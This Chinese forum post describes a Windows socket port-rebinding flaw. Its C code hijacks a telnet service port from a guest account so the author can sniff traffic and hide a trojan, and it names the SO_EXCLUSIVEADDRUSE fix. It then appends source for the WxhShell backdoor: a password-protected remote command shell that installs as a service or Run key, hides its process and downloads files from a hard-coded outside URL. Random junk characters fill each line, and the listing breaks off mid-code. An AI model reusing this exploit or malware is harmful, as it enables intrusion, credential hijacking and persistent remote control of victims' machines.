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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V ALYA=w/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); teb(\% ,  
>qla,}x  
  saddr.sin_family = AF_INET;  f63q  
KtE`L4tW6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /~:ztv\$M"  
+zvK/Fj2q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z,WrLZC  
paY%pU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @z.!Dby  
t{9Ph]e  
  这意味着什么?意味着可以进行如下的攻击: 7w|s8B  
#<{MtK_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p[Es4S}N  
_"=~aMXC.)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "$_ypgRrSR  
1mqFnVkf&+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l_WY];a  
jBM>Pe^`3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tq[C"| dH  
#@ G2n@Hj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 = j -  
"q8wEu,z[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [}D)73h`  
%?seX+ne  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &IPT$=u  
hwJ.M4  
  #include k6XO-a f  
  #include X'Oo ogu  
  #include !jm a --  
  #include    G>b1No3%k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UOyP6ej  
  int main() U4g ZW]F  
  { 8wOr`ho B  
  WORD wVersionRequested; ]?2AFkF  
  DWORD ret; p\ASf  
  WSADATA wsaData; -Ac^#/[0  
  BOOL val; %2.T1X%!  
  SOCKADDR_IN saddr; Y*6*;0Kx  
  SOCKADDR_IN scaddr; r?$\`,;  
  int err; &nq[Vy0kO4  
  SOCKET s; +x1sV*S  
  SOCKET sc; kDrGl{U}  
  int caddsize; ]TQjk{X<  
  HANDLE mt; LxbVRw  
  DWORD tid;   (/^&3xs9  
  wVersionRequested = MAKEWORD( 2, 2 );  F#hM S<  
  err = WSAStartup( wVersionRequested, &wsaData ); m~v Ie c  
  if ( err != 0 ) {  EpiagCS  
  printf("error!WSAStartup failed!\n"); |R4](  
  return -1; x/ez=yd*l  
  } *\> &  
  saddr.sin_family = AF_INET; +{s^"M2`  
   (L\tp> E-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D4G{= Y}G  
W\Gg!XsLk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -`( :L[  
  saddr.sin_port = htons(23); eWFlJ;=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rj8l]m6U9  
  { \%K6T)9  
  printf("error!socket failed!\n"); 9X-DR  
  return -1; =LC5o2bLy  
  } = #`FXO1C  
  val = TRUE; :c\NBKHv*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ',.Xn`c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `bi5#xR  
  { .]" o-(gB  
  printf("error!setsockopt failed!\n"); ,{%[/#~6  
  return -1; `hbM 2cM  
  } !"wIb.j }0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QRRZMdEGs[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 up`6IWlLE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _*+M'3&=  
pG (8VteH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vO\CPb %/  
  { )TLDNpH?J  
  ret=GetLastError(); uJ%ql5XDV  
  printf("error!bind failed!\n"); V; ChrmE  
  return -1; :%0Z  
  } dCinbAQ  
  listen(s,2); cD 1p5U  
  while(1) $HaM, Oh;i  
  { WA<~M) rb  
  caddsize = sizeof(scaddr); 4)`{ L$  
  //接受连接请求 F/&&VSv>LO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I?1^\s#L  
  if(sc!=INVALID_SOCKET) *2 [r?!  
  { \d6A<(!=v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q<M>+U;t  
  if(mt==NULL) u}pLO9V"`  
  { 4|~o<t8  
  printf("Thread Creat Failed!\n"); (|WqOwmoUt  
  break; 'RPe5 vB  
  } my Po&"_ x  
  } vnKUD|  
  CloseHandle(mt); (h E^<jNR  
  } 5!wa\)wY  
  closesocket(s); 1PWDK1GI8  
  WSACleanup(); y+c+/L8  
  return 0; F: \CDM=lS  
  }   KjhOz%Yt[o  
  DWORD WINAPI ClientThread(LPVOID lpParam) S-im o  
  { T3bBc  
  SOCKET ss = (SOCKET)lpParam; VH8,!#Q;  
  SOCKET sc; ^mH^cP?/  
  unsigned char buf[4096]; \=w|Zeu{l  
  SOCKADDR_IN saddr; Baq&>]  
  long num; s01n[jQ  
  DWORD val; 5YRa2#d  
  DWORD ret; lK{h%2A\b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NpSS/rd $  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hi )n]OE  
  saddr.sin_family = AF_INET; rK"x92P0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1>n@`M8}  
  saddr.sin_port = htons(23); z+;+c$X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XXO   
  { huO_ARwK'  
  printf("error!socket failed!\n"); {`{U\w5Af  
  return -1; ;0 ,-ywK  
  } JVN0];IL}  
  val = 100; 7%C6gU!r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6L8wsz CW  
  { 0DGXMO$;  
  ret = GetLastError(); M-eX>}CDm  
  return -1; -2f_e3jF  
  } Lb(=:Z!{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )!3sB{ H  
  { F6yMk%  
  ret = GetLastError(); cZA l.}/  
  return -1; }s? 9Hnqa  
  } c!b4Y4eJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *M09Y'5]  
  { xM[m(m  
  printf("error!socket connect failed!\n"); )[>{ Ie2  
  closesocket(sc); Py K)ks!6  
  closesocket(ss); m$ "B=b2  
  return -1; \:8 >@Q  
  } 0ZTT^2R  
  while(1) y%f'7YZ4  
  { I t",WFE.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 af.yC[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 67 ^?v)|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2Lm.;l4YO  
  num = recv(ss,buf,4096,0); ca5Ir<mL  
  if(num>0) L2+~I<|>  
  send(sc,buf,num,0); /alJN`g  
  else if(num==0) i ,ga2{GnM  
  break; ~~z} yCl  
  num = recv(sc,buf,4096,0);  `i;f  
  if(num>0)  "H#2  
  send(ss,buf,num,0); 8do-z"-  
  else if(num==0) .O@T#0&=_  
  break; U8 '}(  
  } `bNY[Gv>)  
  closesocket(ss); h<JV6h:8  
  closesocket(sc); C`Zz\DNG@  
  return 0 ; &Yb!j  
  } @w?hX K=  
saY":fva  
c3lU  
========================================================== t 7dcaNBZ  
| bDUekjR  
下边附上一个代码,,WXhSHELL E {*d`n  
_ ZMoPEW  
========================================================== Q3T@=z2j%  
g{RVxGE7  
#include "stdafx.h" VBo=*gn,$  
_e:c 22T'  
#include <stdio.h> gAD,  
#include <string.h> &]tZ6  
#include <windows.h> opc`n}Fc  
#include <winsock2.h> ?cF`T/z]"  
#include <winsvc.h> g[4pG`z  
#include <urlmon.h> &#_c,c;  
EZypqe):/C  
#pragma comment (lib, "Ws2_32.lib") +8h!@  
#pragma comment (lib, "urlmon.lib") QY|Rz(;m  
hT go  
#define MAX_USER   100 // 最大客户端连接数 3RJsH :u8  
#define BUF_SOCK   200 // sock buffer vq/3a  
#define KEY_BUFF   255 // 输入 buffer 0o7*5| T4  
hv (>9N  
#define REBOOT     0   // 重启 7Ji|x{``  
#define SHUTDOWN   1   // 关机 Y`3V&8X  
8#L V oR  
#define DEF_PORT   5000 // 监听端口 vY)5<z&  
t>Lq "]1  
#define REG_LEN     16   // 注册表键长度 m) QV2n  
#define SVC_LEN     80   // NT服务名长度 #g=7fu{n:  
bf@H(gCW=  
// 从dll定义API B63puX{u#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 07b =Zhh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &PZ&'N|P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P.aN4 9`=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S\io5|P  
RqB 8g  
// wxhshell配置信息 4 ))ZBq?  
struct WSCFG { A*^aBWFR  
  int ws_port;         // 监听端口 /F@CrNFb(  
  char ws_passstr[REG_LEN]; // 口令 %[B^b)2  
  int ws_autoins;       // 安装标记, 1=yes 0=no /xq^]0xy  
  char ws_regname[REG_LEN]; // 注册表键名 \:y oS>G  
  char ws_svcname[REG_LEN]; // 服务名 QNWGUg4*&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5Q7Z$A1a 9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C8Ja>o2'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rel_Z..~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N(s5YX7<hd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FJQ=611@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uhs/F:E[A  
4Dy|YH$>S  
}; *\gYs{,  
+cWo^d.  
// default Wxhshell configuration g|TWoRx:  
struct WSCFG wscfg={DEF_PORT, 3Zdwt\OQ  
    "xuhuanlingzhe", QlE]OAdB42  
    1, WIKSz {"=/  
    "Wxhshell", N1iP!m9Q  
    "Wxhshell", 1Be/(pSc  
            "WxhShell Service", qf T71o(  
    "Wrsky Windows CmdShell Service", WF] |-)vw  
    "Please Input Your Password: ", };Pdn7;1G:  
  1, g~p43sVV  
  "http://www.wrsky.com/wxhshell.exe", {'cm;V+  
  "Wxhshell.exe" fj|X`,TiZ;  
    }; cS#yfN,  
T {:8,CiW  
// 消息定义模块 Dr K@y8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n{$! ]^>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A3^_'K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L.2!Q3&  
char *msg_ws_ext="\n\rExit."; Y6G`p  
char *msg_ws_end="\n\rQuit."; 3!M|Sf<s  
char *msg_ws_boot="\n\rReboot..."; HjCe/J ;  
char *msg_ws_poff="\n\rShutdown..."; eHb@qKnf  
char *msg_ws_down="\n\rSave to ";  I9Lt>*  
[,L>5:T  
char *msg_ws_err="\n\rErr!"; l#IN)">1  
char *msg_ws_ok="\n\rOK!"; YJGP8  
i"#pk"@`  
char ExeFile[MAX_PATH]; Yz)+UF,  
int nUser = 0; 4OeH}@a  
HANDLE handles[MAX_USER]; "% l``  
int OsIsNt; [>D5(O  
E5qt~:C|  
SERVICE_STATUS       serviceStatus; IN_O!c0e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?t)Mt]("  
a(IUAh*mO  
// 函数声明 X'{ o/U.  
int Install(void); smKp3_r  
int Uninstall(void); DGbEQiX$\  
int DownloadFile(char *sURL, SOCKET wsh); _9yW; i-  
int Boot(int flag); xc}kDpF=g  
void HideProc(void); f|6 Y  
int GetOsVer(void); J\Db8O-/x4  
int Wxhshell(SOCKET wsl); `{%ImXQF  
void TalkWithClient(void *cs); &G!~@\tMg  
int CmdShell(SOCKET sock); BD- c<K"  
int StartFromService(void); Dy&{PeE!  
int StartWxhshell(LPSTR lpCmdLine); V3Ep&<=/  
/Z~5bb(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4&AGVplgF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); > -,$  
9zl-C*9vj  
// 数据结构和表定义 MbxJ3"@  
SERVICE_TABLE_ENTRY DispatchTable[] = Q[Gs%/>  
{ (QTQxZ  
{wscfg.ws_svcname, NTServiceMain}, "[ieOFI  
{NULL, NULL} M1=eS@  
}; W2 {4s 1  
.On3ZN  
// 自我安装 :28[k~.bo  
int Install(void) f}EsS  
{ RK/>5  
  char svExeFile[MAX_PATH]; Vkf c&+  
  HKEY key; OP|X-  
  strcpy(svExeFile,ExeFile); IdoS6   
b#-=Dbe  
// 如果是win9x系统,修改注册表设为自启动 ?)gc;K  
if(!OsIsNt) { / hg)=p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r{{5@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @6M>x=n5  
  RegCloseKey(key); + B<7]\\M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N6Dv1_c,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MU4BAN   
  RegCloseKey(key); *B)10R  
  return 0; NIAji3  
    } >9y!M'V  
  } %?3$~d\n  
} H#M;TjR  
else { 0a9[}g1=#  
XVF!l>nE  
// 如果是NT以上系统,安装为系统服务 5Y 7 %Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H2'djZ  
if (schSCManager!=0) $F1Am%  
{ ~7gFddi=i  
  SC_HANDLE schService = CreateService X4L@|"ZI  
  ( \0K&2'  
  schSCManager, ~x[(1  
  wscfg.ws_svcname, \*M;W|8aB  
  wscfg.ws_svcdisp, \E6 0  
  SERVICE_ALL_ACCESS, {]%7-4E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -Un"z6*  
  SERVICE_AUTO_START, cSjX/%*!m  
  SERVICE_ERROR_NORMAL, xt6%[)  
  svExeFile, cd`P'GDF  
  NULL, g'Wr+( A_  
  NULL, c_t7<  
  NULL, MO? }$j  
  NULL, _q4Yq'dI  
  NULL Fr-Vq =j&  
  ); k(xB%>ns  
  if (schService!=0) %XQJ!sC`  
  { ZFtJoGaR  
  CloseServiceHandle(schService); vXZ )  
  CloseServiceHandle(schSCManager); \O]kf>nC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qb7&S5m  
  strcat(svExeFile,wscfg.ws_svcname); Q9c*I,O j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N/[!$B0H@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nbW.x7  
  RegCloseKey(key); "MD 6<H  
  return 0; A@;{ #.O  
    } mKoDy`s  
  } ['Qh#^p  
  CloseServiceHandle(schSCManager); l3+G]C&<  
} 3sgo5D-rMI  
} (:^YfG~e  
{P3gMv;  
return 1; %_G '#Bn<  
} sX ]gL  
K"!U&`T  
// 自我卸载 W.59Al'  
int Uninstall(void) 8g=];@z  
{ lR/Uboyy  
  HKEY key; XtE O)  
_bRgr  
if(!OsIsNt) { a5(9~. 9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 11Uu5e!.  
  RegDeleteValue(key,wscfg.ws_regname); S~W;Ld<>fB  
  RegCloseKey(key); efuiFN;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FxT]*mo  
  RegDeleteValue(key,wscfg.ws_regname); _Ea1;dJmq  
  RegCloseKey(key); $h}w: AV:  
  return 0; gB>AYL%o=  
  } \mZB*k)+  
} lk` |u$KPz  
} 8bf@<VTO_  
else { E&Zt<pRf;2  
7q{yLcC"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dA<SVk*0Q  
if (schSCManager!=0) .J=QWfqt  
{ <tm=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +jS<n13T  
  if (schService!=0) '+GY6Ecg  
  { n<F3&2w  
  if(DeleteService(schService)!=0) { It VVI"-  
  CloseServiceHandle(schService); E>:#{%  
  CloseServiceHandle(schSCManager); 'e6J&X  
  return 0; =BbXSwv'(  
  } i~3\dp  
  CloseServiceHandle(schService); brK7|&R<  
  } b&]z^_m)  
  CloseServiceHandle(schSCManager); @1qdnU  
} Nfv` )n@  
} OB++5Wd  
i>C%[dk9  
return 1;  z@~mu  
} 99%R/m  
=$T[  
// 从指定url下载文件 TH55@1W,[  
int DownloadFile(char *sURL, SOCKET wsh) ~@e=+Z  
{ I,aaSBwt&2  
  HRESULT hr; EpTc{  
char seps[]= "/"; /XNC^!z6Js  
char *token; ||fCY+x*8  
char *file; >>M7#hmt  
char myURL[MAX_PATH]; ,s 6lB0  
char myFILE[MAX_PATH]; B,` `2\B  
YS<KyTb"  
strcpy(myURL,sURL); }9N-2]  
  token=strtok(myURL,seps); W"\+jHF"  
  while(token!=NULL) of >  
  { =L;g:hc<  
    file=token; 7mn&w$MS4:  
  token=strtok(NULL,seps); sQ&<cBs2  
  } C0khG9,BL  
7W+{U0 2O  
GetCurrentDirectory(MAX_PATH,myFILE); - /cf3  
strcat(myFILE, "\\"); m 0Uu2Z4  
strcat(myFILE, file); p^Z|$aZZ  
  send(wsh,myFILE,strlen(myFILE),0); VMS3Q)Ul  
send(wsh,"...",3,0); A;e"_$yt8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `=kiqF2P}  
  if(hr==S_OK) K.Cx 9  
return 0; [#AI!-  
else 7\H_9o0$  
return 1; vg1E@rH|}  
twt's,dO  
} WpMm%G~'4t  
'5A&c(  
// 系统电源模块 _bv9/#tR  
int Boot(int flag) V0*MY{x#S  
{ $O fZp<M  
  HANDLE hToken; .&Sjazk0XO  
  TOKEN_PRIVILEGES tkp;  .4Mc4'  
0LTsWCUQ6e  
  if(OsIsNt) { a=sd&](_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "|N0oEG&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U.=TjCW  
    tkp.PrivilegeCount = 1; U} Pr1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B7S)L#l_\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bU}l*"  
if(flag==REBOOT) { Moi>Dp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hVCxwTg^X  
  return 0; LaL{ ^wP  
} rKTc 6h:)  
else { y>cT{)E$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -vh\XO  
  return 0; mR#"ng  
} ]<9o>#3  
  } kLXa1^Lq  
  else { J:IAs:e`  
if(flag==REBOOT) { A6xN6{R!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 61sEeM  
  return 0; /N")uuv  
} @HY P_hR  
else { kk OjAp{<t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MRHRa  
  return 0; n<eK\ w  
} 6I|9@~!y[  
} f %P#.  
d_ &~^*>  
return 1; M=1~BZQ(Z  
} II\}84U2 .  
>keY x<1  
// win9x进程隐藏模块 M?DXCsZ,)s  
void HideProc(void) Wi*HLP!lNC  
{ !nQoz^_`P  
bkm: #K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (m')dSZ  
  if ( hKernel != NULL ) #?Ob->v  
  { f J%A_N}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VK|$SY(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LX(`@-<DH  
    FreeLibrary(hKernel); 20M]gw]  
  } cA{,2CYc  
\}gITc).j  
return; Re1}aLd  
} awLSY:JI  
GwG(?_I"  
// 获取操作系统版本 MEtKFC|p  
int GetOsVer(void) ]XWtw21I1  
{ D/z*F8'c  
  OSVERSIONINFO winfo; &}0#(Fa`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )>pIAYCVP  
  GetVersionEx(&winfo); C2L=i3R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JycC\s+%E  
  return 1; DRRy5+,I  
  else }9Q<<a  
  return 0; &hWYw+yH\  
} Q:]v4 /MT  
oCKn  
// 客户端句柄模块 +@do<2l]  
int Wxhshell(SOCKET wsl) `Tr !Gj_  
{ %.:]4jhk  
  SOCKET wsh; iP?lP= M  
  struct sockaddr_in client; i}C%`1+(  
  DWORD myID; Qs 'dwc  
NH,4>mV$!  
  while(nUser<MAX_USER) %D ,(S-Uj  
{ 1Nz#,IdQ  
  int nSize=sizeof(client); d81[hT}q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8>:u%+ C1c  
  if(wsh==INVALID_SOCKET) return 1; :ZXaJ!  
I.1(qbPkF+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @[;$R@M_3  
if(handles[nUser]==0) OuB [[L  
  closesocket(wsh); 1+ V<-I@{  
else Oz=!EG|N  
  nUser++; I$f'BAw  
  } .Txwp?};  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "gXvnl  
#aadnbf  
  return 0; bFfDaO<k  
} Rts}y:44  
wR9gx-bE 4  
// 关闭 socket _9z+xl  
void CloseIt(SOCKET wsh) Fz]!2rt  
{ M:%Ll3  
closesocket(wsh); %z["TVH  
nUser--; eGI&4JgJ.  
ExitThread(0); 'uLYah  
} px^brzLQo  
(=tu~ ^  
// 客户端请求句柄 8qs8QK  
void TalkWithClient(void *cs) rU7t~DKS  
{ 9|>5;Ej  
T{Yk/Z/}?  
  SOCKET wsh=(SOCKET)cs; U> {CG+X  
  char pwd[SVC_LEN]; N 0(($8G  
  char cmd[KEY_BUFF]; ^K!R4Y4t  
char chr[1]; (FOJHjtkM  
int i,j; :;o?d&C  
-raZ6?Zjc  
  while (nUser < MAX_USER) { m8&XW2S  
H&0S  
if(wscfg.ws_passstr) { w%kaM=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %? z;'Y7D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Q{4G  
  //ZeroMemory(pwd,KEY_BUFF); `e+eL*rZ~  
      i=0; 4cAx9bqA  
  while(i<SVC_LEN) { jq+:&8!8(e  
Z DnAzAR  
  // 设置超时 5K|s]Y;  
  fd_set FdRead; ~#iAW@  
  struct timeval TimeOut; w%f51Ex  
  FD_ZERO(&FdRead); +9_E+H'?!  
  FD_SET(wsh,&FdRead); }-paGM@'Nd  
  TimeOut.tv_sec=8; #EO],!JM  
  TimeOut.tv_usec=0; cONfHl{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ` aaT #r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .%mjE'  
Jry643K>:;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H=5#cPI#(^  
  pwd=chr[0]; v0 |"[qGb  
  if(chr[0]==0xd || chr[0]==0xa) { "z|%V/2b3  
  pwd=0; b/eo]Id]  
  break; avH3{V  
  } Bh!J&SM:  
  i++; 6bt{j   
    } zKaEh   
aB4L$M8x  
  // 如果是非法用户,关闭 socket @#| R{5=+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XO J@-^BX  
} L&~>(/*7U  
r7N% onx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #>qA&*+{n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DT#Z6A  
Mer\W6e"e  
while(1) { pPZ^T5-ks  
0mR  
  ZeroMemory(cmd,KEY_BUFF); 2)>Ty4*  
LY(h>`  
      // 自动支持客户端 telnet标准   zy[|4Q(?  
  j=0; |c!lZo/  
  while(j<KEY_BUFF) { 7.xJ:r|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R)qK{wq(1E  
  cmd[j]=chr[0]; DZ0\pp?S  
  if(chr[0]==0xa || chr[0]==0xd) { Jf8AKj3  
  cmd[j]=0;  tD}HL_  
  break; {,i='!WIm  
  } 2v\-xg%1  
  j++; zGE{Z A  
    } iMOf];O)  
dLTA21b#  
  // 下载文件 \)9R1zp/x  
  if(strstr(cmd,"http://")) { >.#tNFAs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'P~6_BW  
  if(DownloadFile(cmd,wsh)) (Zu V5|N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` G.:G/b%H  
  else <2R xyoDL6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AkR ZUj\  
  } +l_$}UN  
  else { ,=p.Cx'PR  
_fANl}Mf:  
    switch(cmd[0]) { eE;")t,  
  &M^FA=J\  
  // 帮助 f*~z|  
  case '?': { dCM*4B<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F`YxH*tO7  
    break; Z'z~40Bda  
  } S~ 3|  
  // 安装 ]j?Kn$nv*S  
  case 'i': { JSm3ZP|GqJ  
    if(Install()) k~b8=$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QYTwGThWR  
    else U9p^?\-=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pGGx.&5#82  
    break; hKW!kA =gZ  
    } {:9P4<%H  
  // 卸载 z?8Sie  
  case 'r': { 6 _\j_$  
    if(Uninstall()) 4i o02qd 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$ 1 z  
    else '$n#~/#}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )hai?v~g  
    break; ;M Z@2CO  
    } [M6/?4\  
  // 显示 wxhshell 所在路径 8?7:sfc  
  case 'p': { iP~dH/B|v  
    char svExeFile[MAX_PATH]; 15FGlO<<  
    strcpy(svExeFile,"\n\r"); 7'xds  
      strcat(svExeFile,ExeFile); _Uz}z#jt  
        send(wsh,svExeFile,strlen(svExeFile),0); CVFsp>+  
    break; v mXY}Ul  
    } F I\V6\B/  
  // 重启 VG`A* Vj  
  case 'b': { >zDnJb&"&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tY=n("=2  
    if(Boot(REBOOT)) SbW6O_   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?V&[U  
    else { d\ Z#XzI8  
    closesocket(wsh); &Wup 7  
    ExitThread(0); ZVek`Cc2  
    } (_lc< Bj  
    break; 'u2Qq"d+  
    } Sm%MoFf  
  // 关机 2tqO%8`_  
  case 'd': { QYL ';  
